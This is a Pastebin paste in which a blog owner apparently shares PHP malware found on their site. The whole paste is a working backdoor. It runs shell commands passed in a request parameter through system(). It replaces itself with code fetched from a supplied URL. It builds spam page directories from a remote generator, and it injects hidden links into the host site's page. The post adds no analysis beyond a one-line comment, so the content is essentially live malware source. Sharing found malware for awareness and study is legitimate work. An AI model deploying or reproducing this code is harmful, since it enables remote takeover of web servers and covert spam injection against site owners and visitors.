Advertisement
Guest User

rAmeD

a guest
Mar 23rd, 2009
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.56 KB | None | 0 0
  1. /* Malicious code found in my blog */
  2.  
  3.  
  4. <?php
  5. ignore_user_abort(1);
  6. set_time_limit(0);
  7.  
  8. function Clear()
  9. {
  10.     unlink("c");
  11.     unlink("1r");
  12.   unlink("log");
  13. }
  14.  
  15. function Clear2()
  16. {
  17.     $mrd = trim(file_get_contents("m"));
  18.     $pt = "../$mrd";
  19.     $fin = file_get_contents($pt);
  20.     $fin = ereg_replace("<adsttnmq1>(.*)<sdioyslkjs2>", "", $fin);
  21.   $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin);
  22.     $fin = preg_replace('#<a[^>]+\_lm[^>]*>.*?</a>#is', '', $fin);
  23.     $fin = preg_replace("/http(.*?)tmp6(.*?)\<\/a\>/", "", $fin);
  24.     $fin = ereg_replace("<!--dd4-->", "", $fin);
  25.   $fin = ereg_replace("<!--dd5-->", "", $fin);
  26.   $fin = ereg_replace("<font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">", "", $fin);
  27.     $fmrd = fopen($pt, "w+");
  28.     fwrite($fmrd, $fin);
  29.     fclose($fmrd);
  30.     echo " upt-ok";
  31. }
  32.  
  33. function GetVar($name, &$var)
  34. {
  35.     $var = "";
  36.     if (isset($_POST[$name]))
  37.         $var = $_POST[$name];
  38.  
  39.   if (isset($_GET[$name]))
  40.         $var = $_GET[$name];
  41.    
  42.     if (($var) =="")
  43.       return  false;
  44.       else return true;
  45. }
  46.  
  47. function Gen()
  48. {
  49.     $alp = "abcdefghiklmnjsweqrtyuiopzx";
  50.     $maps = array();
  51.     if (isset($_POST["sg"]))
  52.         $sg = $_POST["sg"];
  53.  
  54.   if (isset($_GET["sg"]))
  55.         $sg = $_GET["sg"];
  56.        
  57.     if (isset($_POST["gm"]))
  58.      $g = $_POST["gm"];
  59.  
  60.     if (isset($_GET["gm"]))
  61.         $g = $_GET["gm"];
  62.        
  63.        
  64.     $path = "";
  65.     $fr = fopen("1r", "a+");
  66.     if (file_exists("c"))
  67.     {
  68.         $fconf = file("c");
  69.         $tname = trim($fconf[0]);
  70.         $cname = trim($fconf[1]);
  71.         $curs = trim($fconf[2]);
  72.         $pid = trim($fconf[3]);
  73.         if ($pid == 100)
  74.         {
  75.             $pid = 0;
  76.             $rnd = mt_rand(0, 999);
  77.             $nm = "";
  78.         for ($i=0; $i<3; $i++)
  79.         {
  80.             $ran = mt_rand(0,26);
  81.             $sym = $alp[$ran];
  82.             $nm = $nm.$sym;
  83.           }
  84.             $cname = $nm;
  85.             mkdir("$tname/$cname");
  86.             $curs = $g;
  87.         }
  88.     }
  89.     else
  90.     {
  91.         $rnd = mt_rand(0, 999);
  92.         $nm = "";
  93.       for ($i=0; $i<5; $i++)
  94.         {
  95.             $ran = mt_rand(0,26);
  96.             $sym = $alp[$ran];
  97.             $nm = $nm.$sym;
  98.         }
  99.         $tname = $nm;
  100.         $pid = 0;
  101.         $curs = $g;
  102.         mkdir($tname);
  103.         $fht = fopen("$tname/.htaccess", "w+");
  104.         $htname = $sg."2.txt";
  105.         $fp = fopen($htname, "r");
  106.         $fin = '';
  107.         while (!feof($fp))
  108.         {
  109.              $fc = fgets($fp, 1024);
  110.              if (!$fc) break;
  111.            $fin .= $fc;
  112.         }
  113.         fclose($fp);
  114.         fwrite($fht, $fin);
  115.         fclose($fht);
  116.         $rnd = mt_rand(0, 999);
  117.         $nm = "";
  118.     for ($i=0; $i<3; $i++)
  119.     {
  120.         $ran = mt_rand(0,26);
  121.         $sym = $alp[$ran];
  122.         $nm = $nm.$sym;
  123.       }
  124.         $cname = $nm;
  125.     mkdir("$tname/$cname");
  126.     }
  127.   $gname = $sg."sgen.php";
  128.     for ($j=$pid; $j<$pid+10; $j++)
  129.     {
  130.         $fp = fopen($gname."?g=$curs", "r");
  131.         $fin = '';
  132.         while (!feof($fp))
  133.         {
  134.              $fc = fgets($fp, 1024);
  135.              if (!$fc) break;
  136.            $fin .= $fc;
  137.         }
  138.         fclose($fp);
  139.        
  140.         $fnd = fopen("$tname/$cname/$curs"."_$j.htm", "w+");
  141.         fwrite($fnd, $fin);
  142.         fclose($fnd);
  143.     }
  144.    
  145.     if ($j==100)
  146.     {
  147.       $fp = fopen($gname."?g=$curs&m=1", "r");
  148.         $fin = '';
  149.         while (!feof($fp))
  150.         {
  151.              $fc = fgets($fp, 1024);
  152.              if (!$fc) break;
  153.            $fin .= $fc;
  154.         }
  155.         fclose($fp);
  156.         $fnd = fopen("$tname/$cname/$curs"."_lm.htm", "w+");
  157.         fwrite($fnd, $fin);
  158.         fclose($fnd);
  159.         $map = "$path/$tname/$cname/$curs"."_lm.htm";
  160.         fwrite($fr,"$map\n");
  161.     }
  162.    
  163.     $fconf = fopen("c", "w+");
  164.     fwrite($fconf, $tname."\n");
  165.     fwrite($fconf, $cname."\n");
  166.     fwrite($fconf, $curs."\n");
  167.     $nj = $j;
  168.     fwrite($fconf, $nj."\n");
  169.     fclose($fconf);
  170. }
  171.  
  172. function Update()
  173. {
  174.     $thisname = "1.php";
  175.     if (isset($_POST['u']))
  176.       $u = $_POST['u'];
  177.      
  178.     if (isset($_GET['u']))
  179.         $u = $_GET['u'];
  180.        
  181.     $fp = fopen($u, "r");
  182.   $fin = '';
  183.         while (!feof($fp))
  184.         {
  185.              $fc = fgets($fp, 1024);
  186.              if (!$fc) break;
  187.            $fin .= $fc;
  188.         }
  189.   fclose($fp);
  190.  
  191.   $fthis = fopen($thisname, "w+");
  192.   fwrite($fthis, $fin);
  193.   fclose($fthis);
  194. }
  195.  
  196. function Com()
  197. {
  198.     if (isset($_POST['c']))
  199.       @system($_POST['c']);
  200.   if (isset($_GET['c']))
  201.         @system($_GET['c']);
  202. }
  203.  
  204. function UpKos()
  205. {
  206.     $mrd = trim(file_get_contents("m"));
  207.     $pt = "../$mrd";
  208.     $fin = file_get_contents($pt);
  209.     $fin = ereg_replace("adsttnmq1", "<adsttnmq1>", $fin);
  210.     $fin = ereg_replace("sdioyslkjs2", "<sdioyslkjs2>", $fin);
  211.     $fmrd = fopen($pt, "w+");
  212.     fwrite($fmrd, $fin);
  213.     fclose($fmrd);
  214. }
  215.  
  216.  
  217. function MRepl()
  218. {
  219.     $mpt = "";
  220.     $drs = "";
  221.     $begtag = "<adsttnmq1><font style=\"position: absolute;overflow: hidden;height: 0;width: 0\">";
  222.   $endtag = "</font></body></html><sdioyslkjs2> ";
  223.     $mrd = trim(file_get_contents("m"));
  224.     $pt = "../$mrd";
  225.     $fin = file_get_contents($pt);
  226.     GetVar("mpt", $mpt);
  227.      // óäàëÿåì çàâåðøàþùèå õòìë òåãè
  228.   $fin = preg_replace ("/<\/body>/i", "", $fin);
  229.   $fin = preg_replace ("/<\/html>/i", "", $fin);
  230.   $fin = ereg_replace("<!--dd4-->(.*)<!--dd5-->", "", $fin);
  231.   $fin = ereg_replace("<adsttnmq1>(.*)<sdioyslkjs2>", "", $fin);
  232.     $fp = fopen($mpt, "r");
  233.   GetVar("drs", $drs);
  234.   $fin = $fin.$begtag;  
  235. $drs = str_replace("\\", "", $drs);
  236.   $fin = $fin.$drs;
  237.   $fin = $fin.$endtag;
  238.   $fmrd = fopen($pt, "w+");
  239.     fwrite($fmrd, $fin);
  240.     fclose($fmrd);
  241. }
  242.  
  243. function Main()
  244. {
  245.     if (isset($_POST['u']) || isset($_GET['u']))
  246.     {
  247.         Update();
  248.         exit();
  249.     }
  250.    
  251.     if (isset($_POST['c']) || isset($_GET['c']))
  252.     {
  253.         Com();
  254.         exit();
  255.     }
  256.    
  257.         if (isset($_POST['uk']) || isset($_GET['uk']))
  258.     {
  259.         UpKos();
  260.         exit();
  261.     }
  262.    
  263.     if (isset($_POST['g']) || isset($_GET['g']))
  264.     {
  265.         Gen();
  266.         exit();
  267.     }
  268.    
  269.     if (isset($_POST['s']) || isset($_GET['s']))
  270.     {
  271.         MRepl();
  272.         exit();
  273.     }
  274.    
  275.   if (isset($_POST['cl']) || isset($_GET['cl']))
  276.     {
  277.         Clear();
  278.         exit();
  279.     }
  280.    
  281.     if (isset($_POST['cl2']) || isset($_GET['cl2']))
  282.     {
  283.         Clear2();
  284.         exit();
  285.     }
  286.    
  287.     echo "<ok>";
  288.    
  289. }
  290.  
  291. Main();
  292.  
  293. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement